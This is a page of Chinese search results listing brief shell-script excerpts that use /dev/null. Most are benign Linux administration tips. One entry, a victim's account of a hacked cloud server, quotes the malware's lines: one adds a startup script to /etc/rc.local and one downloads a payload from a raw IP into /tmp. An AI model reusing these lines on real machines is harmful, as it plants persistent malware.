码迷,mamicode.com
首页 >  
搜索关键字:dev/null    ( 790个结果
第一章,Linux常用命令
20161124Linux常用命令1、findfind/etc/-size+50k-lsfind/etc/-size+50k-ls2>/dev/null查看目录下大于50K的文件并用ls列表显示出来,理解2>/dev/null含义,把没权限的都隐藏起来了2、pwd,ls,ls-a,ls-al,,ls-alh,touch,make,常用ls-alh3、标准输入和输出管道cat> packa..
分类:系统相关   时间:2016-11-24 22:16:33    阅读次数:271
shell脚本监控(ping)主机是否存活
#!/bin/bash#http://wangjiatong.blog.51cto.com/#create2016-11-22ping_success(){ifping-c1$IP>/dev/null;thenecho-e"\033[032m$IPpingissuccessful!!\033[0m"continuefi}IP_LIST="192.168.217.130192.168.217.142"forIPin$IP_LIST;doping_successsleep1ping_successecho-..
分类:系统相关   时间:2016-11-23 08:29:40    阅读次数:179
Shell获取当前路径
PRG="$0" while [ -h "$PRG" ]; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG= ...
分类:系统相关   时间:2016-11-19 12:51:19    阅读次数:350
Linux里的2>&1
我们在Linux下经常会碰到nohup command>/dev/null 2>&1 &这样形式的命令。首先我们把这条命令大概分解下首先就是一个nohup表示当前用户和系统的回话下的进城忽略响应HUP消息。&是把该命令以后台的job的形式运行。那么就剩下command>/dev/null 2>&1, ...
分类:系统相关   时间:2016-11-17 00:25:47    阅读次数:288
自动打包mysql下binlog日志
一、需求线上一台机器做了rsync,从5台mysql机器拉取binlog日志到本地,之前是手动打包,现在写了个脚本,放到crontab定期执行打包,并删除打包后的的文件。二、脚本如下#!/bin/sh #usage: #nohupsh/tmp/backup_binlog_tar.sh>nohup.out2>/dev/null& dir_backup_tar..
分类:数据库   时间:2016-11-14 15:57:05    阅读次数:266
linux autoload service create
恢复内容开始 EXEC="php-fpm" stop(){ echo "Stoping $EXEC ..." ps aux | grep "$EXEC" | kill -9 `awk '{print $2}'` >/dev/null 2>&1 usleep 100 echo "Shutting do ...
分类:系统相关   时间:2016-11-05 00:16:22    阅读次数:278
shell多线程控制
#!/bin/bash#currenttime:2016-11-0216:14:56LANG=en_US.UTF-8start=`date+%s`thread=80mkfifougcexec4<>ugcfor((i=0;i<$thread;i++))doecho-ne"\n"1>&4donewhilereadlinedo{read-u4{curl-r0-1-o/dev/null"$line"-x192.168.10.100:80&>>/dev/nullech..
分类:编程语言   时间:2016-11-04 02:46:54    阅读次数:162
第四单元作业
[student@desktopDesktop]$find/etc-namepasswd2>/dev/null/etc/passwd/etc/pam.d/passwd[student@desktopDesktop]$find/etc-namepasswd2>/mnt/find.err>/mnt/find.outbash:/mnt/find.err:Permissiondenied[student@desktopDesktop]$find/etc-namepasswd2>/mnt/fin..
分类:其他好文   时间:2016-10-31 22:46:56    阅读次数:261
纯练手设置ip地址脚本
#!/bin/bash IFO() { read -p "Configure $line Network card ( 'yes'or'no' )?" CDN /dev/null until [ $? -eq 0 ];do echo -e "\033[33mIP address error! Ple... ...
分类:其他好文   时间:2016-10-27 23:10:28    阅读次数:184
垃圾脚本黑我linux服务器
今天接到短信 阿里云Linux服务器被黑 脚本写的也挺容易看懂的: echo "sh /etc/chongfu.sh &" >> /etc/rc.local : 开机自启动自动下载 ./wget -P /tmp/ http://61.147.198.172/zsqs &> /dev/null Cen ...
分类:系统相关   时间:2016-10-27 01:38:14    阅读次数:269
790条   上一页 1 ... 46 47 48 49 50 ... 79 下一页
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!